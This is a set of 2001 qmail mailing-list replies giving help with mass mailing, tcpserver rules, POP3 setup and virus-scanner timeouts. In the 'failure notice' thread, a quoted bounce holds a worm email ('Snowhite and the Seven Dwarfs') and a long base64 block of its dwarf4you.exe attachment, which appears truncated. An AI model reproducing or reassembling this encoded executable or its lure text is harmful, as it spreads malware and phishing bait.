On Wed, May 16, 2001 at 02:38:38PM -0400, John R Levine wrote: I have a spam-like application that will be sending out thousands of customized single-recipient messages. (It's spam-like because it says you wrote to us about on , but unlike spam, they really did write and I have the saved messages to prove it.) Rather than dumping them all into qmail-inject or qmail-queue which would cause constipation unless I install the big-todo patch which is a pain, I was thinking of calling qmail-remote directly, then qmail-queue if qmail-remote didn't work, with a bunch of remotes going at once. The addresses come out of a database and the customization is trivial, so I was planning to write it in perl. (The main bottleneck is the network delays for qmail-remote.) But before I do, has someone already written this? I recently did one of these - it was more designed for mass customized mailings and used a pool of sender servers and a distributed queue - we're talking millions and millions of email per day here... It's a complex system and I haven't the code, but I have some experiences that I can share. I used IO::select to handle running multiple qmail-remotes at the same time. qmail-remote has a really small footprint so you can run 1000s of them concurrently on a modest sized server. It takes a fair amount of code to manage multiplexed pipes in conjunction with handling stdout and stderr (execution errors) responses and exit conditions. (I see that there is an IO::Poll in which case I'd probably use that in preference to IO::Select because of some of the select limit issues on some OSes). The next thing you have to worry about is managing your own queue and retries for delivery failures. This can be much simpler and faster than a full qmail-send type queue of course, such as a single flat file for the whole delivery run with an occassional sync. Bounces of course you'll handle with some sort of VERP address. Having said all that, are you talking less than, say, 10,000 mails? If so, one simple strategy is to inject each mail at the rate of say 1 per second. At that rate 1000 mails are injected in about 16 minutes, ten thousand in a little less than 3 hours. That sort of injection rate should not require bigtodo patches so if you don't mind your delivery script running for 3 hours, then that might be the easiest strategy. Regards.
Re: failure notice
SMTP traffic is completely forgeable. You need to check the logs on your dialin bank to find out who the real identity is. Your modem bank does authenticate and log logins doesn't it? Regards. On Wed, May 16, 2001 at 03:27:17PM -0400, Kirti S. Bajwa wrote: Hi: Somebody is using our company's mail server to send Spam mail. Following is a copy of the bounced message. I have received hundreds of these messages. I have looked into qmail-send logs and find bounced messages but the from address is garbage. It seems that person who is sending SPAM is a regular dial-in customer. For example, the message below, this person logged in as a dial-in customer and was assigned an IP address of 63.113.255.43, which is a valid IP address for the dial-in modem bank. From this message or from qmail-send logs, I can't find out the user id of this person. Is there any way I can stop it or better to find out who this person is (sending SPAM)? Kirti -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 16, 2001 3:17 PM To: [EMAIL PROTECTED] Subject: failure notice Hi. This is the qmail-send program at ns2.tibonline.net. I tried to deliver a bounce message to this address, but the bounce bounced! [EMAIL PROTECTED]/A: Sorry, I couldn't find any host named centerfind.com/A. (#5.1.2) --- Below this line is the original bounce. Return-Path: Received: (qmail 21618 invoked from network); 16 May 2001 19:16:59 - Received: from unknown (HELO pavilion) (63.113.255.43) by 63.113.255.3 with SMTP; 16 May 2001 19:16:59 - From: Hahaha [EMAIL PROTECTED] Subject: Snowhite and the Seven Dwarfs - The REAL story! MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=--VEXI78D6Z4DYZC9IVKXQNKPMFW9AR85UF VEXI78D6Z4DYZC9IVKXQNKPMFW9AR85UF Content-Type: text/plain; charset=us-ascii Today, Snowhite was turning 18. The 7 Dwarfs always where very educated and polite with Snowhite. When they go out work at mornign, they promissed a *huge* surprise. Snowhite was anxious. Suddlently, the door open, and the Seven Dwarfs enter... VEXI78D6Z4DYZC9IVKXQNKPMFW9AR85UF Content-Type: application/octet-stream; name=dwarf4you.exe Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=dwarf4you.exe TVqQAAME//8AALgAQAAA gLRMzSEA AABQRQAATAECAOAADwELAQAAAFYAABAA AAAQAABQAgAABAAEAACAAgIAABAA ABAAEAAAEBhwAAAo AC50ZXh0AGAQAACoVAIA ACAAAOAucmRhdGEQcAAAWgBYAABAAADA AADr FqhUAABEQUlKSEpMTgARCUhZQlJJUwD8aExwQAD/FQBwQACjCiNAAIPEhIvMUOh8XqE1Cifa HPo3yJDnSLXJ7t3FOxTtOKRv+GfTc+pR9O6i/AuJNOIiPrxC4Cq53H5sNXfMXjVguFwJrFAYrHHj SiXLG3Lv+wdKT1hwcrOTfD7rduGAY5LvseJ7FEQYpBTblO28PiFdANOtfu+nOGbHGCUuPV1gfpLV ICaXTlFqH+jWCAAAagPHRCR8IIO47V0xLSsXQAAxLVEXQACLLQIQQABqQGgAMAAAVWoA/1QkSIXA D4TKBAAAUFVQ/1QkSAEsJF+FwI21ABBAAA+FsQQAAGhMTAAAaDMyLkRoV1MyX1T/VCQwhcBYWFgP hJIEAABQ/1QkKP2H6fOkxgfrgcc4AQAA/+f86L8HAADGhZwFAADrxoX0AQAAPImNmAUAAIHsBAEA AIv0gcTA/v//aAQBAABW/5QkkAIAAIXAD4QiBAAAjTwGuFxXU0+rNR8cYH2rNW0Pf36rK8CrVFb/ lCSMAgAAi9hDD4T4AwAAK+1Q/5QknAIAADlsJBwPheQDAABqEotEJCQr0ln38YP6EA+ExQMAAGiA Vv+UJHwCAACFwHQcVWiAagNVVWgAAADAVv+UJHgCAACL2EB1butnaAQBAABqQP+UJLQC AACFwHRV6PAGAADGhfQBAADriYWYBQAAxoWcBQAAPDP/l+iUCAAAV1bzpIPvC411BqWlq19eagFW V/+UJMACAACFwA+FQv///8eEJLwCxoWcBQAA6+kWAwAAU4t0JCSBxgAAAQBVVlVqBFVT /5QkdAIAAIXAD4TWAgAAUFZVVWoCUP+UJHACAACFwA+EnAIAAFD/dCQsUP+UJJQCAACFwIsEJA+F fQIAAGAPtxgDQDxQaPgAAABQ/5QkuAIAAIXAWA+FXgIAADMY6CcGAACB8x0fAACLTQIPhUgCAABm 90AWACExQAgPt1gGD4Q1AgAAa9sojZQY+It67Itq5Ita6AFK6AFK4MdC/EAAAMCLcDhOAXLg 99YhcuCLcug5cuBzBYly4OvnUYtK4ANK5IlIUFkD+41UHQCNqtASAAADfCQcUlXoqgUAAIv1UfOk XSv9iZf3EgAAK/Vdh2goib7hAwAAia/jEgAAlYtEJFBqEgNNPEkDwffRVeh1BQAAA0UCI8Er0l1Z 9/GZQED34UhIiUQkUP90JCSNtQQBAAAPt00Gi314i9+tUCvYrSvYcgZYg+7g4u+tUOguBAAAMX8E i38c6CMEAABeXofN6CIFAABbXlNqA7sgg7jtXY2GbgsAAIvQhwSvg+30K8KD6F2Jg8cLAACNhjYe AACL0IcEr0Urwi3eiYMQHwAAjYbvEQAARYvQRYcEryvCLYEAAACJg2wSAACNhucSAACLk+MS AAApg+MSAACF0nUGiZPjEgAAaAABAADocwcAAP7Egetw7P//iYN0llKJk29fhf91Covy ibN06x0DuQwBAAAruQQBAAADPCSLB4lDzGr/6DMHAACJA4fx4wgAB67ByAji+IfxW4lxWIm0 JOgCAACLbCRMh/NVh83R6WatZgPQZoPSAOL1WAPCiUVY6CkEAACAvfQBAAA8dFCNtCRsAQAAagRW /7WYBQAA/5Qk2AIAAIXAdS5obWUAAGhSZW5hi8xoSU5JAGhOSVQuaFdJTklU/7WYBQAAVlH/lCTs AgAAg8QUxoWcBQAA62H/lCS8AgAA/5QkaAIAACvtVVX/dCQs/3QkDP+UJIQCAAD/NCT/lCSUAgAA
Re: failure notice
On Wed, May 16, 2001 at 09:14:57PM +, Mark Delany wrote: SMTP traffic is completely forgeable. Er, sorry everyone. I didn't realise the original quote had a whole lot of crud in it. On Wed, May 16, 2001 at 03:27:17PM -0400, Kirti S. Bajwa wrote: VEXI78D6Z4DYZC9IVKXQNKPMFW9AR85UF Content-Type: application/octet-stream; name=dwarf4you.exe Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=dwarf4you.exe TVqQAAME//8AALgAQAAA Regards.
Re: qmail ignores my sorry ass...
You need to tell us a little more. Well, actually a lot more. How are you trying to send them? qmail-inject, smtp, qmail-queue? If you are running a command such as qmail-inject, what sort of exit code are you getting? Any error message? Do you mean 5600 emails or an email to 5600 addresses? If the latter, are you placing all the recipients on a command line, something like: /var/qmail/bin/qmail-inject recipient1@dom1 recipient2@dom2 ... ? If so, have you perhaps exceeded the maximum length of the command line for your system? Are you perhaps exceeding the maximum number of command line arguments for your system? To check the exit status from the shell, go echo $? immediately after the command. The number is zero if all is well and other numbers indicate different types of errors. Regards. On Wed, May 16, 2001 at 04:37:41PM -0700, Brett wrote: ... when I try to send more than 5600 emails in one go. I mean, it completely ignores me. There's no mention of anything occuring in the logs whatsoever. Since I'm giving you so little to go on here, I'm mostly hoping for a general direction to start looking for a problem rather than a complete solution. Or hopefully this has happened to somebody before and they can tell me what they did to fix it. I've successfully recompiled the kernel and applied the big concurrency patch but not the big-todo one yet. I posted this before but didn't get much of a response except to check qmail-inject's exit status. Assuming I know how to do this, what will this prove? Thanks for any and all help. Brett. A big F you to all the unhelpful flamers in advance.
Re: tcpserver -p and smtpd and DNS
On Mon, May 14, 2001 at 10:10:21AM -, David Killingsworth wrote: I have narrowed this to one simple item. Could someone, possibly you Gerrit I know you have answered one way to get around this I just wanna understand why I have to get around it, explain to me why qmail has delivered an email to me that contains the following header: Received: from unknown (HELO dali.onevision.de) (@212.77.172.50) by mail.myweb.net with SMTP; 14 May 2001 08:59:56 - I have tcpserver -DUvp wrapping smtpd for qmail. Shouldn't tcpserver drop the connection when $TCPREMOTEIP is DNS'd to a hostname and $TCPREMOTEHOST is DNS'd to an IP. if $TCPREMOTEIP can't be resolved or if $TCPREMOTEHOST can't be resolved, shouldn't this cause a FATAL in tcpserver? and it will drop the incoming connection? tcpserver *only* rejects connections if told to do so by the rules supplied with -x or -X. What rules have you tried? You should be able to get tcpserver to drop connections that do not have TCPREMOTEHOST set by putting these entries in your rules: =.:allow :deny Regards. David. On Mon, 14 May 2001 10:51:33 +0200, Gerrit Pape [EMAIL PROTECTED] wrote : On Mon, May 14, 2001 at 06:30:44AM -, David Killingsworth wrote: I have been running qmail for about 8 months, It works great. So far I have not been able to resolve on problem. When an smtp connection comes in we only want to connect with servers who have forward and reverse DNS that match. I allready anwered your question in alt.comp.mail.qmail some days ago. What is wrong with my answer? Gerrit. -- [EMAIL PROTECTED] innominate AG the linux architects tel: +49.30.308806-0 fax: -77 http://www.innominate.com
Re: queue life time
On Mon, May 14, 2001 at 10:54:30AM +, Walid Kassab wrote: Dear All I would like to modify failure notice time queuelifetime to be 14400 ( 4 hours) instead of 604800 ( 7 days) should i just create a file named queuelifetime under /var/qmail/control directory and restart qmail or is there any additional processors I should follow The best way to understand what to do after creating or changing a control file is to find out which commands are affected by the control file. To do this, have a look at the qmail-control manpage. It has a list of every control file and which command uses it. Once you know which command uses queuelifetime it's a simple matter of reading the man page for that command to find out the specifics regarding when that particular command notices the control file. In this particular case, the man page has a whole section called, oddly enough, CONTROL FILES. Regards. regards Walid -- Best Regards Walid Kassab Technical Department Manager Palestinian Internet Services, Co., Ltd. http://www.p-i-s.com Tel. +9708-2843197 Fax +9708-2843377
Re: qmail does not handle timezones properly?
On Sun, May 13, 2001 at 05:47:46PM +0200, Patrick Starrenburg wrote: Code bloat?? Doesn't seem like an excuse to me to (**possibly** we haven't determined this yet) have a fundamental error in a system because someone doesn't feel like adding code to internationalise something. Why do you suggest that there may be a fundamental error in a system? Seems like a pretty unlikely conclusion just because the date is in a format that you don't expect. As it happens this topic has been done to death many times - you may want to check the archives. It is not a bug nor is it a fundamental error in a system. Rather, it is a known and conscious decision by the author and is allowed by the standard. The only way to change this behaviour is for you to patch your version of qmail - I vaguely recall someone announced a patch here, but the archives have a better memory than me. Regards.
Re: qmail does not handle timezones properly? - More Info
Your problem is almost certainly not qmail related. First off you may want to learn how Unix/Linux keeps time. Believe it or not, Unix/Linux don't know anything about timezones. They all keep time internally in UTC (nee GMT). Yes, every Unix server on the planet current has the same time. To see what it is, run this command from the shell: perl -e 'print time,\n' You should get a number back that reflects the number of seconds since 00:00UTC, Jan 1, 1970. When you run something like the date command, it takes this internal number, looks up your current timezone setting and *converts* the internal number to an external representation that matches your timezone. So, what you've shown us with your date command is simply that the combination of the internal time of your server + the timezone setting gives you the correct display. Now, qmail does not do *any* conversion when it generates it's timestamp, it takes the raw internal time value and prints it without looking at any timezone info. So, to answer your question: Received: (qmail 6078 invoked from network); 13 May 2001 **18:56:24** - [[[ Where does 18: come from ??]]] The 18 comes from the internal time value maintained by your kernel. Your kernel believes that it is currently 18:56:24 UTC. If that is not the current UTC time then the internal value in your kernel is set wrong. You can find out what your kernel thinks is UTC by going: TZ=GMT date from your shell. I'll bet that the output from that command matches the date/time in the qmail header. Regards.
Re: html based email
On Wed, May 09, 2001 at 09:33:56AM -0500, John Hogan wrote: i was, in a former life, a sysadmin for a major-league list-hosting outfit... no way, no how - don't believe them... it's not possible to float two 'copies' of the message, with reception being dependent on the user's MUA Well, that is, apart from multipart/alternative. Not supported on all MUAs, but it's one way to do it. As an aside, I believe that AOL mail does support HTML, but the idea of doing content on a domain is pretty flawed. Regards. (very difficult to detect on MTA 'send') - also, a lot depends on the end-user's reader -- that's possible to detect (difficult) and absolutely impossible to predict set up two lists: html-listname and text-listname - have your users state their preference when they subscribe - hogan At 08:49 AM 5/9/2001, Meuse, Andy wrote: Hey All, Is there a way anyone knows of to send one email in both html and plain text format? This is so the recipient will get the html version if their mua supports it, and the plain text version if it doesn't. I know of a service that does this, www.roving.com, but don't know of a way to do it myself. Except scripting my mailing list to send only plain text to like AOl and other domains I know don't support html. Thanks, Andy _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com
Re: mailing list
On Wed, May 09, 2001 at 11:28:16AM -0700, ed lim wrote: Hi, I need a mailing list to send to our millions of subscribers... I am already using ezmlm but I'm still open for suggestions on a much simpler or better one. Any specifics on what constitutes simpler or better? You'll be hard pressed to find anything simpler or better than ezmlm, btw. You may want to look at ezmlm-idx for increased functionality. Regards.
Re: Mail Stuck in Queue
Is qmail running? What does ps aux | grep qmail show? (Or whatever ps is appropriate for your OS?) Regards. On Wed, May 02, 2001 at 09:30:17PM -, Aaron Goldblatt wrote: After resolving the POP slowdown issue with the help of some of the more polite folks here, I have developed a new problem. All mail that gets queued for delivery simply sits in the queue and doesn't get delivered. It doesn't matter if the mail is for local delivery, or is relay mail headed for a remote mail server. What I am aware of changing: I added -R and -H to tcpserver's command line, and I added my 10.x.x.x network to tcp.smtp.cdb. I can now deliver mail via SMTP to rblsmtpd, and it does queue the mail, so I doubt the issue is in my tcp connection rules. I am accepting connections with rblsmtpd with the no-TXT-records patch, and logging is being done by splogger to /var/log/messages. There are no messages indicating anything related to qmail in syslog since the issue began, except for one notation where rblsmtpd rejected a message from a black holed site. The line invoking rblsmtpd is (beware wordwrap): /usr/local/bin/tcpserver -R -H -x /etc/tcprules/tcp.smtp.cdb \ -u 1004 -g 2108 0 smtp /usr/local/bin/rblsmtpd -r blackholes.mail-abuse.org \ -r dialups.mail-abuse.org \ -r 'relays.mail-abuse.org:Open relay problem - see URL:http://www.mail-abuse.org/cgi-bin/nph-rss?%IP%' \ /var/qmail/bin/qmail-smtpd 21 | /var/qmail/bin/splogger smtpd 3 I can see messages queueing in /var/qmail/queue/mess/*, but they are not delivered either locally or to a remote host (mail.swbell.net). Through testing with other mail servers, I have determined that mail.swbell.net is operating normally -- it both sends and receives mail. I've sent test messages to my problem machine via mail.swbell.net and found them in my queue, waiting for local delivery. /var/qmail/queue/lock/trigger has permissions as described in LWQ. The home directories of the users on the system are owned by themselves. Some are world-readable, some are not. None are world-writable: drwx-- 5 aaronusers4096 Feb 24 07:37 aaron drwx--x--x 5 bluerose users4096 Feb 24 07:37 blueroses drwx--x--x 5 boby users4096 Apr 11 21:32 boby drwx--x--x 5 dhwork users4096 Mar 16 01:48 dhwork drwx--x--x 5 djh users4096 Feb 24 07:38 djh drwx--x--x 5 dnslog users4096 Mar 24 08:25 dnslog drwx--x--x 5 ebay users4096 Feb 24 07:38 ebay drwx--x--x 5 friendof users4096 Feb 24 07:39 friendofbillw drwx--x--x 5 gtg users4096 Mar 29 09:37 gtg drwx--x--x 5 listsusers4096 May 2 12:44 lists drwx--x--x 6 netgeek users4096 Apr 13 21:37 netgeek drwx--x--x 6 rc5 users4096 Feb 25 08:56 rc5 drwx--x--x 17 rnbwpnt users4096 Apr 29 05:56 rnbwpnt drwx--x--x 6 shewolf users4096 Apr 23 18:42 shewolf drwx--x--x 5 shik users4096 Feb 24 07:41 shik drwx--x--x 5 thesaint users4096 May 2 14:24 thesaint drwx--x--x 5 vendors users4096 Feb 24 07:42 vendors drwx--x--x 5 viquiusers4096 Feb 24 07:42 viqui This is the output from qmail-showctl: qmail home directory: /var/qmail. user-ext delimiter: -. paternalism (in decimal): 2. silent concurrency limit: 120. subdirectory split: 23. user ids: 1003, 1004, 1005, 0, 1006, 1007, 1008, 1009. group ids: 2108, 2107. badmailfrom: (Default.) Any MAIL FROM is allowed. bouncefrom: (Default.) Bounce user name is MAILER-DAEMON. bouncehost: (Default.) Bounce host name is wndrgrl.goldblatt.net. concurrencylocal: (Default.) Local concurrency is 10. concurrencyremote: (Default.) Remote concurrency is 20. databytes: (Default.) SMTP DATA limit is 0 bytes. defaultdomain: Default domain name is goldblatt.net. defaulthost: Default host name is goldblatt.net. doublebouncehost: (Default.) 2B recipient host: wndrgrl.goldblatt.net. doublebounceto: (Default.) 2B recipient user: postmaster. envnoathost: (Default.) Presumed domain name is wndrgrl.goldblatt.net. helohost: (Default.) SMTP client HELO host name is wndrgrl.goldblatt.net. idhost: (Default.) Message-ID host name is wndrgrl.goldblatt.net. localiphost: (Default.) Local IP address becomes wndrgrl.goldblatt.net. locals: Messages for localhost are delivered locally. Messages for wndrgrl.goldblatt.net are delivered locally. Messages for virtualhost.goldblatt.net are delivered locally. Messages for goldblatt.net are delivered locally. me: My name is wndrgrl.goldblatt.net. percenthack: (Default.) The percent hack is not allowed. plusdomain: Plus domain name is goldblatt.net. qmqpservers: (Default.) No QMQP servers. queuelifetime: (Default.) Message lifetime in the queue is 604800 seconds. rcpthosts: SMTP clients may send messages to recipients at goldblatt.net. SMTP clients may send
Re: I messed up my QMQP Client Config...
On Tue, May 01, 2001 at 10:12:36PM -0700, Tyrone Mills wrote: Hello All, I made a stupid mistake and left a QMQP Client machine with a bad IP in the qmqpservers file. I'm re-reading the Installing mini-qmail doc on http://cr.yp.to/qmail/mini.html and if I am reading it correctly, I'm screwed when it comes to getting those messages back. Am I right? Correct. It's the same as qmail-inject returning a non-zero exit code. The client that sent the mail should have noticed the failed injection and kept the original and alerted the user. There was only about 10 messages that should have been generated today and I can grab the info out of the MySQL DB and manually generate the E-Mails, but I'd like to know, more from a learning perspective than anything. It sounds like you are using a script to create/inject the emails. Maybe that script should pay closer attention to the exit code of whatever program it is using to inject the email. Regards.
Re: qmail-pop3d not working?
The zero seconds for qmail-pop3d/log is your problem. The logging output of qmail-pop3d is ultimately filling up the pipe buffer and then wedging since the pipe is never drained by qmail-pop3d/log. The zero seconds is telling you that qmail-pop3d/log is repeatedly being started and is exiting immediately. You need to work out why that is. 1. Is qmail-pop3d/log/run executable? 2. What does it have in it exactly? Is the script correct? 3. What happens if you run it manually - what output do you get? Regards. On Fri, Apr 27, 2001 at 10:23:56AM -0700, Steven Katz wrote: Thanks, Rick. I did 'cd /var/qmail/supervise; svstat * */log' (while pop was working) and got: qmail-pop3d: up (pid 598) 1420 seconds qmail-send: up (pid 594) 1420 seconds qmail-smtpd: up (pid 595) 1420 seconds qmail-pop3d/log: up (pid 28975) 0 seconds qmail-send/log: up (pid 596) 1420 seconds qmail-smtpd/log: up (pid 599) 1420 seconds Then I did it again (when pop stopped working) and got: qmail-pop3d: up (pid 598) 1678 seconds qmail-send: up (pid 594) 1678 seconds qmail-smtpd: up (pid 595) 1678 seconds qmail-pop3d/log: up (pid 26225) 0 seconds qmail-send/log: up (pid 596) 1678 seconds qmail-smtpd/log: up (pid 599) 1678 seconds Although qmail-pop3d/log stayed at 0 seconds, qmail-pop3d keeps increasing, even after it stops working. However, doing 'ps auxw | grep pop3' while pop is working (up to 15 minutes after rebooting) gives me: root 591 0.0 0.4 1272 344 ?S09:06 0:00 supervise qmail-pop3d root 596 0.0 0.6 1344 512 ?S09:06 0:00 /usr/local/bin/tcpserver -v -R 0 pop3 /var/qmail/bin/qmail-popup idma But doing it again when pop stops working gives me: root 591 0.0 0.4 1272 344 ?S09:06 0:00 supervise qmail-pop3d root 596 0.0 0.6 1344 512 ?S09:06 0:00 /usr/local/bin/tcpserver -v -R 0 pop3 /var/qmail/bin/qmail-popup idma root 4454 0.0 0.6 1344 516 ?S09:17 0:00 /usr/local/bin/tcpserver -v -R 0 pop3 /var/qmail/bin/qmail-popup idma There does seem to be a connection to the second instance of tcpserver. How can I find why and where the second tcpserver instance is being initiated? Thanks again, everyone. Steven -Original Message- From: Rick Updegrove [EMAIL PROTECTED] Sent: Wednesday, April 25, 2001 10:22 AM To: [EMAIL PROTECTED] Subject: Re: qmail-pop3d not working? Charles Cazabon said, You have two tcpserver instances, both trying to bind to the same interface(s) and port. At least one of those _has_ to be failing, and it should be showing up in your logs. Steve said, At which point, doing 'sh -x /var/qmail/supervise/qmail-pop3d/run' gives me: I use this to check for status on supervised processes. bash-2.04# cd /var/qmail/supervise; svstat * */log qmail-pop3d: up (pid 658) 178697 seconds qmail-send: up (pid 9480) 178696 seconds qmail-smtpd: up (pid 3846) 178697 seconds qmail-pop3d/log: up (pid 11946) 178697 seconds qmail-send/log: up (pid 7901) 178697 seconds qmail-smtpd/log: up (pid 13335) 178697 seconds When you supervise, and one of the seconds columns stays at 0 seconds, you definitely have a problem. After you reboot, or better yet, when your pop stops working, try that and see what happens. Also, do not start pop3d from the command line if you are starting it in your boot scripts, even if pop3 is not working properly. Hope that helped Rick Up
Re: Oracle eMail Server
Mlocal, P=/email01/oracle/OraHome1/bin/ofcuto, F=rlSsDCFMPpmn, S=10, R=20, A=ofcuto - /email01/oracle/OraHome1 emailsvr -f unx.cfg - $g $a $b You need to find out what all the F= flags do, what ruleset 10 and 20 do the the envelope addresses, find out what $a, $b and $c are and then make a .qmail that invokes: /email01/oracle/OraHome1 emailsvr -f unx.cfg - Alternatively, if you're lucky, Oracle will provide documentation on how to inject a mail into their system so you can totally ignore the sendmail implementation of the interface and just use their docs to start afresh. Regards.
Re: svscan on linux
On Wed, Apr 25, 2001 at 08:32:12PM +, Subba Rao wrote: I have followed the instructions on DJB's site to install and start svscan. On Linux and other SVR4-based systems with /etc/inittab, add SV:123456:respawn :env - PATH=/usr/local/bin:/usr/sbin:/usr/bin:/bin svscan /service /dev/null /dev/console 2/dev/console to the end of /etc/inittab, and type kill -HUP 1. I am not seeing the svscan process running. Am I missing any step here? 1. Is the inittab entry all on one line? Show us. 2. What was printed on the console after the kill? 3. Does /service exist? Show us with ls. 4. Is svscan installed ok and executable? Show us with ls. Regards.
Re: qmail-pop3d not working?
On Sun, Apr 22, 2001 at 12:08:54PM -0700, Steven Katz wrote: I've installed qmail according to the LWQ instructions, and qmail-pop3d according to faqts instructions (http://www.faqts.com/knowledge_base/view.phtml/aid/8225/fid/223). At this point, I'm able to send mail only from the clients listed in tcp.smtp. However, I'm unable to receive mail at any of the clients (though I can see messages piling up in the Maildirs). My /qmail-pop3d/run file: #!/bin/sh exec /usr/local/bin/softlimit -m 200 \ /usr/local/bin/tcpserver -v -R 0 POP3 /var/qmail/bin/qmail-popup \ idma.com /bin/checkpassword /var/qmail/bin/qmail-pop3d Maildir 21 The FQDN (idma.com) is the same name that appears in /control/me, locals, and rcpthosts. Is it acceptable for this to just be the domain name, or do I need to include the hostname? Is that 'Maildir' that follows the invocation of qmail-pop3d supposed to an absolute path? Thanks for any assistance you can offer. You need to give us a *lot* more information than "I'm unable to receive mail..." For example: 1. You haven't told us whether the tcpserver in your qmail-pop3d/run is running. Is it? 2. You haven't told us what happens when you try and connect to the POP port. What does happen? 3. You haven't shown us what gets logged. What is logged? 4. Oh, and you haven't told us whether you followed instructions exactly when setting up qmail-pop3d/run. Do the instructions really say to use POP3 in uppercase? Regards.
Re: qmail-pop3d not working?
exec /usr/local/bin/softlimit -m 200 \ /usr/local/bin/tcpserver -v -R 0 POP3 /var/qmail/bin/qmail-popup \ idma.com /bin/checkpassword /var/qmail/bin/qmail-pop3d Maildir 21 4. Oh, and you haven't told us whether you followed instructions exactly when setting up qmail-pop3d/run. Do the instructions really say to use POP3 in uppercase? I followed both the LWQ and the above mentioned faqts instructions exactly, and double checked. Hmm. On FreeBSD, Linux *and* Solaris using "POP3" in uppercase fails, while in lowercase it succeeds. With all due respect to faqts, can I suggest that you try the qmail-pop3/run file with a lowercase "pop3"? Also of course, you can run the service manually, by: # sh -x qmail-po3d/run And show us the output. Regards.
Re: qmail-pop3d not working?
On Sun, Apr 22, 2001 at 08:49:27PM -0700, Steven Katz wrote: -Original Message- From: Mark Delany [EMAIL PROTECTED] Sent: Sunday, April 22, 2001 7:23 PM To: [EMAIL PROTECTED] Subject: Re: qmail-pop3d not working? exec /usr/local/bin/softlimit -m 200 \ /usr/local/bin/tcpserver -v -R 0 POP3 /var/qmail/bin/qmail-popup \ idma.com /bin/checkpassword /var/qmail/bin/qmail-pop3d Maildir 21 4. Oh, and you haven't told us whether you followed instructions exactly when setting up qmail-pop3d/run. Do the instructions really say to use POP3 in uppercase? I followed both the LWQ and the above mentioned faqts instructions exactly, and double checked. Hmm. On FreeBSD, Linux *and* Solaris using POP3 in uppercase fails, while in lowercase it succeeds. With all due respect to faqts, can I suggest that you try the qmail-pop3/run file with a lowercase pop3? Also of course, you can run the service manually, by: # sh -x qmail-po3d/run And show us the output. I get: tcpserver: fatal: unable to figure out port number for POP3 I'll bet that's meaningful, but I don't know what it means! Now change POP3 to pop3 and run it again. Go on... humor me. It's only the third time I've told you what your problem is. Regards.
Re: qmail-pop3d not working?
Now change POP3 to pop3 and run it again. Go on... humor me. It's only the third time I've told you what your problem is. Yes, that did it! Just received 200+ messages. Thanks for all your help, everyone. You might want to feed this back to the faqts people. Let's others benefit from what you've learnt. Regards.
Re: Sticky question about qmail-queue and qmail-smtpd interactions
On Fri, Apr 20, 2001 at 02:06:02PM +1200, Jason Haar wrote: Hi there I'm the author of Qmail-Scanner - an Email scanning harness that can be used to block attachments, scan for viruses, etc. It's hooked in as a replacement for qmail-queue. The installation of a rather slow virus scanner on my own systems had lead me to realise a rare error condition I hadn't expected. This virus scanner didn't like scanning a 90Mb zip'ped AVI file (ahem) - whereas another vendor scanner took 1.5minutes to scan it, this one took nearly two hours... The sending SMTP server's qmail-remote timed out the SMTP session after 20 minutes - as being in error - as it had waited "too long" for the final "OK". However, STDOUT on the receiving box still received the "mail from|rcpt to" envelope headers, so after 2 hours Qmail-Scanner happily delivered it back to the real qmail-queue for real delivery. So let me get this right, what's happening is this: o the remote site is connecting to qmail-smtpd o qmail-smtpd is in turn invoking your replacement qmail-queue program called Qmail-Scanner o Qmail-Scanner is in turn invoking the real qmail-queue. Your problem arises when Qmail-Scanner (more correctly the scanner it invokes I guess) takes a long time to process the data. In fact longer than the SMTP timeout of the remote site. Then here's what happens: o the remote site times out and closes the socket thinking the email delivery has failed o meanwhile Qmail-Scanner et al are happily processing the email totally oblivious to the lost connection. Eventually the scan completes and the mail is injected into the local queue with qmail-queue. The key is that Qmail-Scanner doesn't know that the socket has been closed and that qmail-smtpd has exited. My suggestion is that you take a two-pronged approach. First off, introduce a timeout in Qmail-Scanner and exit accordingly (exit(52) according to the qmail-queue man page). Second off, I'd determine the process id of the parent with getppid() and at the point at which the scan is complete - but just prior to completing the qmail-queue - I'd use kill(parent, 0) to determine that qmail-smtpd is still around. All you are really doing is reducing the window of risk to a very small - but non-zero - size. But non-zero is ok as SMTP is idempotent. Your remaining problem is that the sender will never succeed as the mail is too large to process within their SMTP time-frame, so a better strategy might be to disconnect the scanner from SMTP. This is pretty trivial with a two-instance qmail install but it sure adds complexity for your customers. Regards. However... back on the sending host, it tried to send it again... I had a little loop going there - quite nasty. Can you say "busy system"? :-) Anyhoo, the virus scanner is the real culprit here - and that's something that can be fixed (i.e. get another). The problem is WHY did the recipient qmail-smtpd send through the envelope headers via STDOUT to qmail-queue/Qmail-Scanner? Upon noticing the sender going away, shouldn't it have recognised that as an error condition? I'm gonna have to alarm Qmail-Scanner so it also spits the dummy before 20 minutes (I hope other MTAs don't have shorter timeouts). That way it'll always be telling the sender MTA it's in trouble. Another solution would be to just accept the message before scanning it, and scan it after the sending server has gone away - but then I'd have to write an entire requeuing infrastructure to handle transient errors too (not bl**dy likely ;-) Oh yeah - and please don't say "limit the size" - we LIKE sending large things here :-) [we just don't appear to like receiving them ;-)] Am I missing something here? This seems to imply that if you had /var/qmail/queue on a VERY slow (but otherwise reliable) disk, that you would see this problem too. I hope I'm just been stupid and missed something obvious... -- Cheers Jason Haar Unix/Special Projects, Trimble NZ Phone: +64 3 9635 377 Fax: +64 3 9635 417
Re: TCPServer Error
On Tue, Apr 17, 2001 at 03:43:48AM -0300, Martin Marconcini wrote: Hello: I have followed www.lifewithqmail.org instructions. The server is OpenBSD 2.8. This was my first qmail installation. At the office I installed OpenBSD and Qmail and followed instructions and have had no problem. I installed pop/smtp stuff. At home I have another obsd box w/qmail. But I can't make tcpserver work. /var/log/qmail/smtpd/current shows the following error everytime I telnet localhost 25. @40003ada6c2f381c5b64 tcpserver: status: 1/20 @40003ada6c2f384a0ab4 tcpserver: pid 22092 from 127.0.0.1 @40003ada6c2f38fae424 tcpserver: ok 22092 localhost.marconcini.com.ar:127.0.0.1:25 :127.0.0.1::17948 @40003ada6c2f39080b54 tcpserver: warning: dropping connection, unable to run /var/qmail/bin/qmail-smtpd: exec format error The error message seems pretty obvious to me. There is some problem with the qmail-smtpd executable. Perhaps it was compiled on a different system, perhaps it was compiled on a later version of the same system. Whatever the problem, your OS doesn't like that executable file for some reason. To confirm this, I'd run qmail-smtpd from a command line prompt thusly: $ /var/qmail/bin/qmail-smtpd Please do this and show us the output. To fix 